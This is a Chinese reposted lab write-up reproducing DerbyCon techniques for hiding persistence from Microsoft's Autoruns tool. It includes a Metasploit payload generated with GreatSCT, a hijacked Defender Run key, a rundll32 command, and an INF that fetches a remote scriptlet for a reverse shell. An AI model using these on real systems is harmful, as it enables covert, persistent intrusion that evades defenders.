那些“躲避”微軟autoruns工具的方法

【轉】http://bobao.360.cn/learning/detail/4666.html


背景


在第七屆的DerbyCon大會上, Chris Bisnett和Kyle Hanslovan發表了一個名叫“Evading Autoruns”的演講。在這篇演講中, Kyle 和Chris展示了繞過微軟Sysinternals Autoruns工具檢查的方法。他們主要利用“PATHEXT”這個Windows環境變量以及Microsoft簽名的可執行文件來持久運行註冊表項。由於這些傢伙的演講實在是太精彩了,因此我強烈推薦你們看一下他們以下發布的與演講有關的資料:

Talk

Slides

PoC

Example “shady” INF

Github


摘要


從***者的視角來看,獲取對遠端機器的訪問權限是關鍵;而從安全防護的視角來看,發現***者的蹤跡同樣重要。在這次演講中,Kyle 和Chris披露了幾種“高端”技術用於繞過最常見的系統監視工具,這些“高端”技術涉及重新創建註冊表中的run key、非常規利用搜索順序以及利用可信應用程序。爲了補充他們的技術說明,針對每種繞過方法本文都將包括demo演示和檢測建議。現在我們已經回顧了上述所有的材料,下面我們對該演講中有趣的技術內容進行深入探討。


Autoruns擴展搜索順序技術


在幻燈片68頁,我們看到一個有趣的聲明,具體如下圖所示:

 http://p5.qhimg.com/t019390a80474bf734c.png

上圖中紅色框中的內容讓我想起Windows上的“PATHEXT”環境變量,之後我繼續閱讀下面幾張幻燈片,以確保我瞭解搜索順序如何工作,然後我看到以下幻燈片。

 http://p3.qhimg.com/t01f36696376ca8a1dc.png

通過上圖我們發現,PATHEXT環境變量在 '.EXE' 之前會去查找'.COM'擴展名,並且這一發現在下一張幻燈片中得到了驗證,這讓我想起了Derbycon 3.0中的Christopher Campbell和Matt Graeber的“Living Off the Land”演講 。

 http://p9.qhimg.com/t01b00b674b170971e3.png

現在,我們瞭解了搜索順序是如何工作的。理論上,如果我們修改了現有的註冊表項,那麼我們應該可以加載'.COM'而不是'.EXE',因爲搜索順序會首先查找'.COM'擴展名,這正是利用了Windows的工作原理,下面我們繼續研究他們的幻燈片。

 http://p2.qhimg.com/t01d72fe068af44db3f.png

上圖看起來像是Windows 10上Windows Defender的註冊表項。我猜測下面必須要將這個註冊表項的值從“C:\ Program Files \ Windows Defender \ MSASCuiL.exe”修改爲“C:\ Program Files \ Windows Defender \ MSASCuiL”,並將“.COM”文件放在同一目錄中。 下面讓我們來看看我的猜測是否正確。

 http://p5.qhimg.com/t012f6090dcf180a37e.png

通過上圖發現我的猜測是對的。我們來看看他們是否將“.COM”文件添加到同一個目錄了。

 http://p9.qhimg.com/t01fdb5f865ca893151.png

從上面ppt上來看他們的確那麼做了,下面我們來研究一下AutoRuns程序。

 http://p1.qhimg.com/t010c0f5cb258a26e22.png

通過上圖發現,這的確是一個十分漂亮的繞過,從圖中可以看到我們的“.COM”文件的發行者是“Microsoft Corporation”。

現在我們瞭解了“搜索順序”的工作原理,下面我們在Windows 7和Windows 10中做個實驗。首先,使用我開發的GreatSCT工具生成一個COM scriptlet payload,該工具在使用的時候需要首先安裝Python3和Metasploit。其次,需要目標系統上安裝了微軟的 Excel。下面我們開始我們的實驗:

1
2
git clone https://github.com/GreatSCT/GreatSCT
python3 gr8sct.py

http://p4.qhimg.com/t0104d2d84dd41992e4.png 

執行上述兩個操作之後將看到以下提示,按任意鍵開始實驗。

 http://p0.qhimg.com/t01a55b61e9fc5621c8.png

我們將使用“SCT / regsvr32.cfg”選項,輸入3,然後按Enter鍵。下圖是上述生成的payload的配置參數:

 http://p7.qhimg.com/t01d4eeac0ab9443478.png

注意我將輸出文件設置爲“MSASCuiL.com”。輸入generate,然後按Enter鍵。

 http://p1.qhimg.com/t016c3205d1792a1e5a.png

現在我們生成了一個COM有效載荷,下面我們可以測試“擴展搜索順序”技術了。 首先安裝一個有Excel的Windows 7虛擬機。第一步,讓我們修改Windows Defender註冊表項:

1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth (REG_EXPAND_SZ) –C:\Program Files\Windows Defender\MSASCui

 http://p9.qhimg.com/t01b2d85450741a07bd.png

將COM有效載荷放在C:\Program Files\Windows Defender\並命名爲“MSASCui.com”

 http://p0.qhimg.com/t01142ae789c201b6b3.png

下一步設置metasploit的監聽程序:

 http://p8.qhimg.com/t01a5bd41227bf97caf.png

然後重新啓動Windows 7 VM並等待我們的shell。

 http://p7.qhimg.com/t01030e763a4e25713c.png

從上圖可以看到,我們成功獲取到了一個shell。


Autoruns INF 技術


首先讓我們來看一下Casey Smith (@subtee)關於Scriptlets的介紹:

 http://p8.qhimg.com/t0135f4094fed41af05.png

下面是安全防護對上述***的防護:

 http://p4.qhimg.com/t01c596bd548a615c9d.png

Chris和Kyle在MSDN上發現了關於“INF”文件的介紹。

http://p8.qhimg.com/t01281bac6afda559da.png

下面我們繼續瀏覽他們的幻燈片,看看是否有關於“INF”的例子。

 http://p4.qhimg.com/t010a1d90543045cfef.png

上圖的確是一個關於“INF”文件的例子,但這是如何工作的?通過閱讀下面這張ppt我發現他們使用的是“rundll32.exe”而不是“regsvr32.exe”。

 http://p4.qhimg.com/t010a1d90543045cfef.png

下面我將演示如何使用“rundll32.exe”和“INF”文件來繞過微軟的Antorun技術。

 http://p3.qhimg.com/t01c3e55cf707f0666c.png

在本實驗中我依然使用上述使用GreatSCT工具生成的payload,而且出於安全性的考慮,我將對ppt中提供的shady.inf進行修改,內容如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; ———————————————————————-
; Required Sections
; ———————————————————————-
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
; ———————————————————————-
; Models Section
; ———————————————————————-
[ModelsSection.NTx86]
UnregisterDlls = Squiblydoo
[ModelsSection.NTia64]
UnregisterDlls = Squiblydoo
[ModelsSection.NTamd64]
UnregisterDlls = Squiblydoo
; ———————————————————————-
; Support Sections
; ———————————————————————-
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct

我將上述內容保存到“testaroo.inf”文件中,並將放在我的桌面上。下一步是創建一個註冊表項。

 http://p4.qhimg.com/t013deea64a058c1de2.png

與上一個實驗一樣:首先設置一個metasploit監聽器,然後重新啓動Windows 7 VM並等待shell回連。但是我並沒有得到一個shell,因此我打開Process Hacker來查找原因。

 http://p6.qhimg.com/t0136bf819d9df53495.png

在上圖進程樹中我並沒有找到rundll32.exe,但通過在Windows 7上手動執行“rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\Users\lopi\Desktop\testaroo.inf”時,我發現是可以得到一個回連的shell的,但Windows 10上卻不行。通過查閱資料我找到了原因,Chris和Kyle在他們的演講中並沒有提到這些內容,那就是:Windows 10要求驅動程序必須具有合法的簽名,以便在沒有用戶提示的情況下進行安裝。

Autoruns InfDefaultInstall.exe 技術

接下來我們介紹InfDefaultInstall.exe技術,具體如下圖所示:

 http://p2.qhimg.com/t01a8289ab90541f94f.png

通過閱讀ppt我發現,我們可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”,並可以使用相同的方式將它應用到以前的技術。首先我們啓動Windows 10 VM,然後我們看看是否有相同的數字簽名以及UAC是否提示“InfDefaultInstall.exe”。

 http://p4.qhimg.com/t01d23e8dd346fa46a3.png

有UAC的提示,但是數字簽名怎麼樣呢?

http://p6.qhimg.com/t01cf47237f06d3acf4.png 

實驗中我們發現Windows 10上好像並不行,因此我建議在Windows 7以下的操作系統上使用這種技術。而且,在Windows 7和Windows 10操作系統上,我也依然無法通過的autoruns註冊表項使其工作。儘管該技術在Chris和Kyle的演講中看起來很神奇,但在實踐中卻不是這樣的。

Autoruns SyncAppvPublishing.exe 技術

讓我們通過一張幻燈片來直接介紹該技術吧。

 http://p1.qhimg.com/t01b50e25c38ffe947a.png

該技術看起來很簡單,下面我們試着在Windows 10 VM中添加一個註冊表項。

 http://p5.qhimg.com/t019bbf126a82b0f15a.png

現在我們重新啓動我們的Windows 10 VM並期待calc.exe應用程序能夠執行起來,實驗結果如下圖所示:

 http://p2.qhimg.com/t014ce1923829f731f4.png

Ok, 我們成功彈出了計算器程序!




發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章